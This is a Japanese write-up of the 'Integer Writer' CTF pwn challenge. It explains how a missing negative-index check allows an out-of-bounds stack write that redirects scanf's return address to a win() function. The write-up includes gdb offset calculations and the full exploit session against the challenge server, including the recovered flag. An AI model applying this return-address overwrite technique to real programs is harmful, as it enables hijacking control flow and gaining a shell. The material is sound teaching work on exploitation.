Daily AlpacaHack 12月5日 -- "Integer Writer" writeup

書いておくと良いかなと思ったので書きました。

概要

指定されたインデックスの配列要素に整数を書き込むプログラムで、pos が100以上かどうかのチェックはあるが、負の値のチェックが存在しません。なので配列外に書き込みができます。

void win() {
    execve("/bin/sh", NULL, NULL);
}

int main(void) {
    int integers[100], pos;

    printf("pos > ");
    scanf("%d", &pos);
    if (pos >= 100) {
        puts("You're a hacker!");
        return 1;
    }
    printf("val > ");
    scanf("%d", &integers[pos]);

    return 0;
}

問題の趣旨と攻略のポイント

一般にこのようなスタック上の配列外参照がある場合にまず考えるのが、returnアドレスの書き換えによる処理の乗っ取りです *1 。その場合に最初に考える上書き先は mainから mainの呼び出し元(glibcなら__libc_start_main)へのreturnアドレスではないでしょうか。しかし、今回はそれが防がれているのでどうしよう、という趣旨の問題でした。

結論としては、scanfの関数呼び出し時に利用されるリターンアドレスを上書きすることを目指します。

scanfの仕組みとexploitの方針

ポイントは、

  • scanfは、ポインタを受け取ってそのアドレスに値を書き込む
  • scanf呼び出しによるスタックフレームはmain関数のフレームより上(アドレス上位)に構築される

の2点です。

まず、scanfの動作について簡単に見てみましょう。scanf("%d", &integers[pos]) は、「整数をstdinから読み取ってください。そしてその結果を渡したアドレスに書き込んでください」という意味になります。実際、scanf("%d", &integers[pos]); は以下の手順で動作します。

  1. 呼び出し: mainscanf を呼び出す。この時、その呼出の リターンアドレス をスタックに保存
  2. 書き込み: scanf は渡されたアドレス &integers[pos] に対して、ユーザからの入力値を書き込む
  3. 復帰: scanf の処理が終わると、1. で保存したリターンアドレスを取り出し、そこへジャンプして戻る

より具体的には、上述の scanf("%d", &integers[pos]); の呼び出しが行われた直後のスタックフレームが以下のように構築されます。

低位アドレス (Low Address)
      ^
      |   +-----------------------+
      |   |   scanf Stack Frame   |
      |   +-----------------------+
      |   |    Return Address     | <--- integers[-6] (Target)
      |   |   (scanf -> main)     |
      |   +-----------------------+
      |   |      ....       |
      |   +-----------------------+
      |   |       int pos         |
      |   +-----------------------+
      |   |    int integers[0]    |
      |   |          ...          |
      |   |    int integers[99]   |
      |   +-----------------------+
      |   |      ...            |
      |   +-----------------------+
      |   |    Return Address     |
      |   | (main -> ... )  |
      |   +-----------------------+
      v
 高位アドレス (High Address)

通常は integers 配列の中に書き込むため安全ですが、今回は pos に負の値(-6)を指定することで(以下にgdbでの計算方法を示します)、書き込み先のアドレスを 「1. で保存したリターンアドレスの場所」 に一致させることができます。

つまり、scanf は1で保存しておいた自分自身が戻るためのアドレスを、2のタイミングでユーザが入力した値(win関数のアドレス)で上書きしてしまう ことになります。 その結果、手順 3. で復帰しようとした瞬間、本来の main ではなく win 関数へとジャンプします。

Exploitの流れ

offsetの特定

(gdb) b __isoc99_scanf
...
(gdb) run
...
pos >
Breakpoint 2, __isoc99_scanf (format=0x402013 "%d") at ./stdio-common/isoc99_scanf.c:25
(gdb) c
Continuing.
42
val >
Breakpoint 2, __isoc99_scanf (format=0x402013 "%d") at ./stdio-common/isoc99_scanf.c:25

今 42 を入れたので、これがstackに乗っているはずで、実際 scanfの始まり (call直後)にbreakポイントを置いたところ、以下のようになっているのがわかります

(gdb) x/10wx $rsp
0x7fffffffe3d8: 0x004012ca   0x00000000 0x00000000   0x00000000
0x7fffffffe3e8: 0x00000000   0x0000002a 0x00000000   0x00000000
0x7fffffffe3f8: 0x00000000   0x00000000

一番上が今callによってpushされたばかりのリターンアドレスで、0x0000002aは、42の16進表現です。その下が、integersになります(もう少しちゃんと調べられますが、まあこんな感じで当たりつけるのをよくやります)。intの大きさは4なので、

(gdb) p (0x7fffffffe3f0 - 0x7fffffffe3d8)/4
$1 = 6

が得られます。

exploit

> nm chal | grep win
00000000004011d6 T win
> python3 -c "print(0x4011d6)"
4198870
> nc 34.170.146.252 51272
pos > -6
val > 4198870
cat flag*
Alpaca{D0_y0u_th1nk_th3_st4ck_gr0ws_upw4rd_0r_d0wnw4rd?}

まとめ

このように、与えられたバイナリ特有の制約のもとで、バイナリの挙動をよく理解し、どのようにすれば処理を乗っ取ることができるかを考えるパズルがpwnの醍醐味の一つです。幸いAlpacaHackには既に入門向けの比較的かんたんな問題も多くそろっているので、ぜひ他の問題や今後のDaily Alpacahackにも挑戦してみてください。

*1:一般にスタックのアドレスはASLRによりランダマイズされているので、スタック上の配列の相対位置として、例えばlibcやheap、bss領域などを書き換えるのはリークなしではできないと言って良いでしょう